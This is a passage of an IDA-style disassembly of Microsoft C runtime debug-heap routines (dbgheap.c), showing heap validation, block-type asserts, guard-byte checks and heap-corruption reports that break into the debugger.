add esp, 4
mov [ebp+var_4], 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41CA80
add esp, 8
mov [ebp+var_4], 0FFFFFFFFh
call sub_41CA62
jmp short loc_41CA6D
sub_41CA10 endp
; =============== S U B R O U T I N E =======================================
sub_41CA62 proc near ; CODE XREF: sub_41CA10+4Bp
; DATA XREF: _1:0043C7F8o
push 9
call sub_423320
add esp, 4
retn
sub_41CA62 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41CA10
loc_41CA6D: ; CODE XREF: sub_41CA10+50j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41CA10
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA80 proc near ; CODE XREF: _0:0041C9F9p
; sub_41CA10+3Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, ds:dword_4517E0
and eax, 4
test eax, eax
jz short loc_41CAC3
loc_41CA93: ; CODE XREF: sub_41CA80+41j
call sub_41D1D0
test eax, eax
jnz short loc_41CABD
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 402h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41CABD
int 3 ; Trap to Debugger
loc_41CABD: ; CODE XREF: sub_41CA80+1Aj
; sub_41CA80+3Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_41CA93
loc_41CAC3: ; CODE XREF: sub_41CA80+11j
cmp [ebp+arg_0], 0
jnz short loc_41CACE
jmp loc_41CE65
; ---------------------------------------------------------------------------
loc_41CACE: ; CODE XREF: sub_41CA80+47j
push 0
push 0
push 0
mov edx, [ebp+arg_4]
push edx
push 0
mov eax, [ebp+arg_0]
push eax
push 3
call ds:off_451BB0
add esp, 1Ch
test eax, eax
jnz short loc_41CB18
loc_41CAED: ; CODE XREF: sub_41CA80+91j
push offset aClientHookFree ; "Client hook free failure.\n"
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41CB0D
int 3 ; Trap to Debugger
loc_41CB0D: ; CODE XREF: sub_41CA80+8Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_41CAED
jmp loc_41CE65
; ---------------------------------------------------------------------------
loc_41CB18: ; CODE XREF: sub_41CA80+6Bj
; sub_41CA80+CDj
mov edx, [ebp+arg_0]
push edx
call sub_41D6B0
add esp, 4
test eax, eax
jnz short loc_41CB49
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 414h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41CB49
int 3 ; Trap to Debugger
loc_41CB49: ; CODE XREF: sub_41CA80+A6j
; sub_41CA80+C6j
xor eax, eax
test eax, eax
jnz short loc_41CB18
mov ecx, [ebp+arg_0]
sub ecx, 20h
mov [ebp+var_4], ecx
loc_41CB58: ; CODE XREF: sub_41CA80+12Fj
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_41CBAB
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 1
jz short loc_41CBAB
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_41CBAB
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 3
jz short loc_41CBAB
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 41Ah
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41CBAB
int 3 ; Trap to Debugger
loc_41CBAB: ; CODE XREF: sub_41CA80+E6j
; sub_41CA80+EFj ...
xor edx, edx
test edx, edx
jnz short loc_41CB58
mov eax, ds:dword_4517E0
and eax, 4
test eax, eax
jnz loc_41CC86
push 4
mov cl, ds:byte_4517EC
push ecx
mov edx, [ebp+var_4]
add edx, 1Ch
push edx
call sub_41D140
add esp, 0Ch
test eax, eax
jnz short loc_41CC20
loc_41CBDD: ; CODE XREF: sub_41CA80+19Ej
mov eax, [ebp+var_4]
add eax, 20h
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, ds:off_4517F0[ecx*4]
push edx
push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
push 0
push 0
push 0
push 1
call sub_422610
add esp, 20h
cmp eax, 1
jnz short loc_41CC1A
int 3 ; Trap to Debugger
loc_41CC1A: ; CODE XREF: sub_41CA80+197j
xor eax, eax
test eax, eax
jnz short loc_41CBDD
loc_41CC20: ; CODE XREF: sub_41CA80+15Bj
push 4
mov cl, ds:byte_4517EC
push ecx
mov edx, [ebp+var_4]
mov eax, [edx+10h]
mov ecx, [ebp+var_4]
lea edx, [ecx+eax+20h]
push edx
call sub_41D140
add esp, 0Ch
test eax, eax
jnz short loc_41CC86
loc_41CC43: ; CODE XREF: sub_41CA80+204j
mov eax, [ebp+var_4]
add eax, 20h
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, ds:off_4517F0[ecx*4]
push edx
push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"...
push 0
push 0
push 0
push 1
call sub_422610
add esp, 20h
cmp eax, 1
jnz short loc_41CC80
int 3 ; Trap to Debugger
loc_41CC80: ; CODE XREF: sub_41CA80+1FDj
xor eax, eax
test eax, eax
jnz short loc_41CC43
loc_41CC86: ; CODE XREF: sub_41CA80+13Bj
; sub_41CA80+1C1j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 3
jnz short loc_41CCFB
loc_41CC8F: ; CODE XREF: sub_41CA80+249j
mov edx, [ebp+var_4]
cmp dword ptr [edx+0Ch], 0FEDCBABCh
jnz short loc_41CCA4
mov eax, [ebp+var_4]
cmp dword ptr [eax+18h], 0
jz short loc_41CCC5
loc_41CCA4: ; CODE XREF: sub_41CA80+219j
push offset aPheadNlineIgno ; "pHead->nLine == IGNORE_LINE && pHead->l"...
push 0
push 42Fh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41CCC5
int 3 ; Trap to Debugger
loc_41CCC5: ; CODE XREF: sub_41CA80+222j
; sub_41CA80+242j
xor ecx, ecx
test ecx, ecx
jnz short loc_41CC8F
mov edx, [ebp+var_4]
mov eax, [edx+10h]
add eax, 24h
push eax
xor ecx, ecx
mov cl, ds:byte_4517ED
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41E4B0
add esp, 0Ch
mov eax, [ebp+var_4]
push eax
call sub_423CD0
add esp, 4
jmp loc_41CE65
; ---------------------------------------------------------------------------
loc_41CCFB: ; CODE XREF: sub_41CA80+20Dj
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 2
jnz short loc_41CD11
cmp [ebp+arg_4], 1
jnz short loc_41CD11
mov [ebp+arg_4], 2
loc_41CD11: ; CODE XREF: sub_41CA80+282j
; sub_41CA80+288j ...
mov edx, [ebp+var_4]
mov eax, [edx+14h]
cmp eax, [ebp+arg_4]
jz short loc_41CD3D
push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
push 0
push 43Ch
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41CD3D
int 3 ; Trap to Debugger
loc_41CD3D: ; CODE XREF: sub_41CA80+29Aj
; sub_41CA80+2BAj
xor ecx, ecx
test ecx, ecx
jnz short loc_41CD11
mov edx, [ebp+var_4]
mov eax, ds:dword_4F32EC
sub eax, [edx+10h]
mov ds:dword_4F32EC, eax
mov ecx, ds:dword_4517E0
and ecx, 2
test ecx, ecx
jnz loc_41CE3C
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0
jz short loc_41CD7C
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
mov eax, [edx+4]
mov [ecx+4], eax
jmp short loc_41CDBA
; ---------------------------------------------------------------------------
loc_41CD7C: ; CODE XREF: sub_41CA80+2EAj
; sub_41CA80+32Cj
mov ecx, ds:dword_4F32E0
cmp ecx, [ebp+var_4]
jz short loc_41CDA8
push offset a_plastblockPhe ; "_pLastBlock == pHead"
push 0
push 44Bh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41CDA8
int 3 ; Trap to Debugger
loc_41CDA8: ; CODE XREF: sub_41CA80+305j
; sub_41CA80+325j
xor edx, edx
test edx, edx
jnz short loc_41CD7C
mov eax, [ebp+var_4]
mov ecx, [eax+4]
mov ds:dword_4F32E0, ecx
loc_41CDBA: ; CODE XREF: sub_41CA80+2FAj
mov edx, [ebp+var_4]
cmp dword ptr [edx+4], 0
jz short loc_41CDD2
mov eax, [ebp+var_4]
mov ecx, [eax+4]
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ecx], eax
jmp short loc_41CE0F
; ---------------------------------------------------------------------------
loc_41CDD2: ; CODE XREF: sub_41CA80+341j
; sub_41CA80+382j
mov ecx, ds:dword_4F32E8
cmp ecx, [ebp+var_4]
jz short loc_41CDFE
push offset a_pfirstblockPh ; "_pFirstBlock == pHead"
push 0
push 455h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41CDFE
int 3 ; Trap to Debugger
loc_41CDFE: ; CODE XREF: sub_41CA80+35Bj
; sub_41CA80+37Bj
xor edx, edx
test edx, edx
jnz short loc_41CDD2
mov eax, [ebp+var_4]
mov ecx, [eax]
mov ds:dword_4F32E8, ecx
loc_41CE0F: ; CODE XREF: sub_41CA80+350j
mov edx, [ebp+var_4]
mov eax, [edx+10h]
add eax, 24h
push eax
xor ecx, ecx
mov cl, ds:byte_4517ED
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41E4B0
add esp, 0Ch
mov eax, [ebp+var_4]
push eax
call sub_423CD0
add esp, 4
jmp short loc_41CE65
; ---------------------------------------------------------------------------
loc_41CE3C: ; CODE XREF: sub_41CA80+2DEj
mov ecx, [ebp+var_4]
mov dword ptr [ecx+14h], 0
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
xor ecx, ecx
mov cl, ds:byte_4517ED
push ecx
mov edx, [ebp+var_4]
add edx, 20h
push edx
call sub_41E4B0
add esp, 0Ch
loc_41CE65: ; CODE XREF: sub_41CA80+49j
; sub_41CA80+93j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CA80 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+8]
push eax
call sub_41CE90
add esp, 8
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CE90 proc near ; CODE XREF: _0:0041CE79p
; sub_420C50+11p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
; FUNCTION CHUNK AT 0041D00C SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43C928
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF0h
push ebx
push esi
push edi
mov eax, ds:dword_4517E0
and eax, 4
test eax, eax
jz short loc_41CEEF
loc_41CEBF: ; CODE XREF: sub_41CE90+5Dj
call sub_41D1D0
test eax, eax
jnz short loc_41CEE9
push offset a_crtcheckmemor ; "_CrtCheckMemory()"
push 0
push 49Dh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41CEE9
int 3 ; Trap to Debugger
loc_41CEE9: ; CODE XREF: sub_41CE90+36j
; sub_41CE90+56j
xor ecx, ecx
test ecx, ecx
jnz short loc_41CEBF
loc_41CEEF: ; CODE XREF: sub_41CE90+2Dj
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 0
loc_41CF00: ; CODE XREF: sub_41CE90+A5j
mov edx, [ebp+arg_0]
push edx
call sub_41D6B0
add esp, 4
test eax, eax
jnz short loc_41CF31
push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)"
push 0
push 4A9h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41CF31
int 3 ; Trap to Debugger
loc_41CF31: ; CODE XREF: sub_41CE90+7Ej
; sub_41CE90+9Ej
xor eax, eax
test eax, eax
jnz short loc_41CF00
mov ecx, [ebp+arg_0]
sub ecx, 20h
mov [ebp+var_20], ecx
loc_41CF40: ; CODE XREF: sub_41CE90+107j
mov edx, [ebp+var_20]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_41CF93
mov ecx, [ebp+var_20]
cmp dword ptr [ecx+14h], 1
jz short loc_41CF93
mov edx, [ebp+var_20]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_41CF93
mov ecx, [ebp+var_20]
cmp dword ptr [ecx+14h], 3
jz short loc_41CF93
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 4AFh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41CF93
int 3 ; Trap to Debugger
loc_41CF93: ; CODE XREF: sub_41CE90+BEj
; sub_41CE90+C7j ...
xor edx, edx
test edx, edx
jnz short loc_41CF40
mov eax, [ebp+var_20]
cmp dword ptr [eax+14h], 2
jnz short loc_41CFAF
cmp [ebp+arg_4], 1
jnz short loc_41CFAF
mov [ebp+arg_4], 2
loc_41CFAF: ; CODE XREF: sub_41CE90+110j
; sub_41CE90+116j
mov ecx, [ebp+var_20]
cmp dword ptr [ecx+14h], 3
jz short loc_41CFEA
loc_41CFB8: ; CODE XREF: sub_41CE90+158j
mov edx, [ebp+var_20]
mov eax, [edx+14h]
cmp eax, [ebp+arg_4]
jz short loc_41CFE4
push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
push 0
push 4B6h
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41CFE4
int 3 ; Trap to Debugger
loc_41CFE4: ; CODE XREF: sub_41CE90+131j
; sub_41CE90+151j
xor ecx, ecx
test ecx, ecx
jnz short loc_41CFB8
loc_41CFEA: ; CODE XREF: sub_41CE90+126j
mov edx, [ebp+var_20]
mov eax, [edx+10h]
mov [ebp+var_1C], eax
mov [ebp+var_4], 0FFFFFFFFh
call sub_41D001
jmp short loc_41D00C
sub_41CE90 endp
; =============== S U B R O U T I N E =======================================
sub_41D001 proc near ; CODE XREF: sub_41CE90+16Ap
; DATA XREF: _1:0043C930o
push 9
call sub_423320
add esp, 4
retn
sub_41D001 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41CE90
loc_41D00C: ; CODE XREF: sub_41CE90+16Fj
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_41CE90
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4517E8
mov [ebp-4], eax
mov ecx, [ebp+8]
mov ds:dword_4517E8, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43C938
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
push 9
call sub_423280
add esp, 4
mov dword ptr [ebp-4], 0
mov eax, [ebp+8]
push eax
call sub_41D6B0
add esp, 4
test eax, eax
jz short loc_41D0EF
mov ecx, [ebp+8]
sub ecx, 20h
mov [ebp-1Ch], ecx
loc_41D08D: ; CODE XREF: _0:0041D0E4j
mov edx, [ebp-1Ch]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_41D0E0
mov ecx, [ebp-1Ch]
cmp dword ptr [ecx+14h], 1
jz short loc_41D0E0
mov edx, [ebp-1Ch]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_41D0E0
mov ecx, [ebp-1Ch]
cmp dword ptr [ecx+14h], 3
jz short loc_41D0E0
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 4FFh
push offset aDbgheap_c ; "dbgheap.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_41D0E0
int 3 ; Trap to Debugger
loc_41D0E0: ; CODE XREF: _0:0041D09Bj _0:0041D0A4j ...
xor edx, edx
test edx, edx
jnz short loc_41D08D
mov eax, [ebp-1Ch]
mov ecx, [ebp+0Ch]
mov [eax+14h], ecx
loc_41D0EF: ; CODE XREF: _0:0041D082j
mov dword ptr [ebp-4], 0FFFFFFFFh
call sub_41D0FD
jmp short loc_41D108
; =============== S U B R O U T I N E =======================================
sub_41D0FD proc near ; CODE XREF: _0:0041D0F6p
; DATA XREF: _1:0043C940o
push 9
call sub_423320
add esp, 4
retn
sub_41D0FD endp
; ---------------------------------------------------------------------------
loc_41D108: ; CODE XREF: _0:0041D0FBj
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, ds:off_451BB0
mov [ebp-4], eax
mov ecx, [ebp+8]
mov ds:off_451BB0, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D140 proc near ; CODE XREF: sub_41CA80+151p
; sub_41CA80+1B7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov [ebp+var_4], 1
loc_41D14E: ; CODE XREF: sub_41D140:loc_41D1BCj
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_8]
sub ecx, 1
mov [ebp+arg_8], ecx
test eax, eax
jz short loc_41D1BE
mov edx, [ebp+arg_0]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+arg_4]
and ecx, 0FFh
mov edx, [ebp+arg_0]
add edx, 1
mov [ebp+arg_0], edx
cmp eax, ecx
jz short loc_41D1BC
loc_41D17B: ; CODE XREF: sub_41D140+73j
mov eax, [ebp+arg_4]
and eax, 0FFh
push eax
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, [ecx-1]
push edx
mov eax, [ebp+arg_0]
sub eax, 1
push eax
push offset aMemoryCheckErr ; "memory check error at 0x%08X = 0x%02X, "...
push 0
push 0
push 0
push 0
call sub_422610
add esp, 20h
cmp eax, 1
jnz short loc_41D1AF
int 3 ; Trap to Debugger
loc_41D1AF: ; CODE XREF: sub_41D140+6Cj
xor ecx, ecx
test ecx, ecx
jnz short loc_41D17B
mov [ebp+var_4], 0
loc_41D1BC: ; CODE XREF: sub_41D140+39j
jmp short loc_41D14E
; ---------------------------------------------------------------------------
loc_41D1BE: ; CODE XREF: sub_41D140+1Cj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D140 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D1D0 proc near ; CODE XREF: sub_41BF80:loc_41BF9Cp
; sub_41C3F0:loc_41C452p ...
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0041D550 SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43CAC0
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov eax, ds:dword_4517E0
and eax, 1
test eax, eax
jnz short loc_41D209
mov eax, 1
jmp loc_41D553
; ---------------------------------------------------------------------------
loc_41D209: ; CODE XREF: sub_41D1D0+2Dj
push 9
call sub_423280
add esp, 4
mov [ebp+var_4], 0
call sub_423E20
mov [ebp+var_24], eax
cmp [ebp+var_24], 0FFFFFFFFh
jz loc_41D32E
cmp [ebp+var_24], 0FFFFFFFEh
jz loc_41D32E
mov ecx, [ebp+var_24]
mov [ebp+var_30], ecx
mov edx, [ebp+var_30]
add edx, 6
mov [ebp+var_30], edx
cmp [ebp+var_30], 3
ja loc_41D2FC
mov eax, [ebp+var_30]
jmp off_41D564[eax*4]
loc_41D259: ; CODE XREF: sub_41D1D0+ADj
; DATA XREF: _0:0041D570o
push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41D279
int 3 ; Trap to Debugger
loc_41D279: ; CODE XREF: sub_41D1D0+A6j
xor ecx, ecx
test ecx, ecx
jnz short loc_41D259
jmp loc_41D322
; ---------------------------------------------------------------------------
loc_41D284: ; CODE XREF: sub_41D1D0+82j
; sub_41D1D0+D8j
; DATA XREF: ...
push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41D2A4
int 3 ; Trap to Debugger
loc_41D2A4: ; CODE XREF: sub_41D1D0+D1j
xor edx, edx
test edx, edx
jnz short loc_41D284
jmp short loc_41D322
; ---------------------------------------------------------------------------
loc_41D2AC: ; CODE XREF: sub_41D1D0+82j
; sub_41D1D0+100j
; DATA XREF: ...
push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41D2CC
int 3 ; Trap to Debugger
loc_41D2CC: ; CODE XREF: sub_41D1D0+F9j
xor eax, eax
test eax, eax
jnz short loc_41D2AC
jmp short loc_41D322
; ---------------------------------------------------------------------------
loc_41D2D4: ; CODE XREF: sub_41D1D0+82j
; sub_41D1D0+128j
; DATA XREF: ...
push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41D2F4
int 3 ; Trap to Debugger
loc_41D2F4: ; CODE XREF: sub_41D1D0+121j
xor ecx, ecx
test ecx, ecx
jnz short loc_41D2D4
jmp short loc_41D322
; ---------------------------------------------------------------------------
loc_41D2FC: ; CODE XREF: sub_41D1D0+79j
; sub_41D1D0+150j
push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
push offset aS_19 ; "%s"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41D31C
int 3 ; Trap to Debugger
loc_41D31C: ; CODE XREF: sub_41D1D0+149j
xor edx, edx
test edx, edx
jnz short loc_41D2FC
loc_41D322: ; CODE XREF: sub_41D1D0+AFj
; sub_41D1D0+DAj ...
mov [ebp+var_1C], 0
jmp loc_41D537
; ---------------------------------------------------------------------------
loc_41D32E: ; CODE XREF: sub_41D1D0+56j
; sub_41D1D0+60j
mov [ebp+var_1C], 1
mov eax, ds:dword_4F32E8
mov [ebp+var_20], eax
jmp short loc_41D347
; ---------------------------------------------------------------------------
loc_41D33F: ; CODE XREF: sub_41D1D0:loc_41D532j
mov ecx, [ebp+var_20]
mov edx, [ecx]
mov [ebp+var_20], edx
loc_41D347: ; CODE XREF: sub_41D1D0+16Dj
cmp [ebp+var_20], 0
jz loc_41D537
mov [ebp+var_28], 1
mov eax, [ebp+var_20]
mov ecx, [eax+14h]
and ecx, 0FFFFh
cmp ecx, 4
jz short loc_41D38C
mov edx, [ebp+var_20]
cmp dword ptr [edx+14h], 1
jz short loc_41D38C
mov eax, [ebp+var_20]
mov ecx, [eax+14h]
and ecx, 0FFFFh
cmp ecx, 2
jz short loc_41D38C
mov edx, [ebp+var_20]
cmp dword ptr [edx+14h], 3
jnz short loc_41D3A4
loc_41D38C: ; CODE XREF: sub_41D1D0+197j
; sub_41D1D0+1A0j ...
mov eax, [ebp+var_20]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, ds:off_4517F0[ecx*4]
mov [ebp+var_2C], edx
jmp short loc_41D3AB
; ---------------------------------------------------------------------------
loc_41D3A4: ; CODE XREF: sub_41D1D0+1BAj
mov [ebp+var_2C], offset aDamaged ; "DAMAGED"
loc_41D3AB: ; CODE XREF: sub_41D1D0+1D2j
push 4
mov al, ds:byte_4517EC
push eax
mov ecx, [ebp+var_20]
add ecx, 1Ch
push ecx
call sub_41D140
add esp, 0Ch
test eax, eax
jnz short loc_41D400
loc_41D3C6: ; CODE XREF: sub_41D1D0+227j
mov edx, [ebp+var_20]
add edx, 20h
push edx
mov eax, [ebp+var_20]
mov ecx, [eax+18h]
push ecx
mov edx, [ebp+var_2C]
push edx
push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
push 0
push 0
push 0
push 0
call sub_422610
add esp, 20h
cmp eax, 1
jnz short loc_41D3F3
int 3 ; Trap to Debugger
loc_41D3F3: ; CODE XREF: sub_41D1D0+220j
xor eax, eax
test eax, eax
jnz short loc_41D3C6
mov [ebp+var_28], 0
loc_41D400: ; CODE XREF: sub_41D1D0+1F4j
push 4
mov cl, ds:byte_4517EC
push ecx
mov edx, [ebp+var_20]
mov eax, [edx+10h]
mov ecx, [ebp+var_20]
lea edx, [ecx+eax+20h]
push edx
call sub_41D140
add esp, 0Ch
test eax, eax
jnz short loc_41D45D
loc_41D423: ; CODE XREF: sub_41D1D0+284j
mov eax, [ebp+var_20]
add eax, 20h
push eax
mov ecx, [ebp+var_20]
mov edx, [ecx+18h]
push edx
mov eax, [ebp+var_2C]
push eax
push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"...
push 0
push 0
push 0
push 0
call sub_422610
add esp, 20h
cmp eax, 1
jnz short loc_41D450
int 3 ; Trap to Debugger
loc_41D450: ; CODE XREF: sub_41D1D0+27Dj
xor ecx, ecx
test ecx, ecx
jnz short loc_41D423
mov [ebp+var_28], 0
loc_41D45D: ; CODE XREF: sub_41D1D0+251j
mov edx, [ebp+var_20]
cmp dword ptr [edx+14h], 0
jnz short loc_41D4B6
mov eax, [ebp+var_20]
mov ecx, [eax+10h]
push ecx
mov dl, ds:byte_4517ED
push edx
mov eax, [ebp+var_20]
add eax, 20h
push eax
call sub_41D140
add esp, 0Ch
test eax, eax
jnz short loc_41D4B6
loc_41D487: ; CODE XREF: sub_41D1D0+2DDj
mov ecx, [ebp+var_20]
add ecx, 20h
push ecx
push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
push 0
push 0
push 0
push 0
call sub_422610
add esp, 18h
cmp eax, 1
jnz short loc_41D4A9
int 3 ; Trap to Debugger
loc_41D4A9: ; CODE XREF: sub_41D1D0+2D6j
xor edx, edx
test edx, edx
jnz short loc_41D487
mov [ebp+var_28], 0
loc_41D4B6: ; CODE XREF: sub_41D1D0+294j
; sub_41D1D0+2B5j
cmp [ebp+var_28], 0
jnz short loc_41D532
mov eax, [ebp+var_20]
cmp dword ptr [eax+8], 0
jz short loc_41D4F8
loc_41D4C5: ; CODE XREF: sub_41D1D0+326j
mov ecx, [ebp+var_20]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+var_20]
mov ecx, [eax+8]
push ecx
mov edx, [ebp+var_2C]
push edx
push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n"
push 0
push 0
push 0
push 0
call sub_422610
add esp, 20h
cmp eax, 1
jnz short loc_41D4F2
int 3 ; Trap to Debugger
loc_41D4F2: ; CODE XREF: sub_41D1D0+31Fj
xor eax, eax
test eax, eax
jnz short loc_41D4C5
loc_41D4F8: ; CODE XREF: sub_41D1D0+2F3j
; sub_41D1D0+359j
mov ecx, [ebp+var_20]
mov edx, [ecx+10h]
push edx
mov eax, [ebp+var_20]
add eax, 20h
push eax
mov ecx, [ebp+var_2C]
push ecx
push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."...
push 0
push 0
push 0
push 0
call sub_422610
add esp, 20h
cmp eax, 1
jnz short loc_41D525
int 3 ; Trap to Debugger
loc_41D525: ; CODE XREF: sub_41D1D0+352j
xor edx, edx
test edx, edx
jnz short loc_41D4F8
mov [ebp+var_1C], 0
loc_41D532: ; CODE XREF: sub_41D1D0+2EAj
jmp loc_41D33F
; ---------------------------------------------------------------------------
loc_41D537: ; CODE XREF: sub_41D1D0+159j
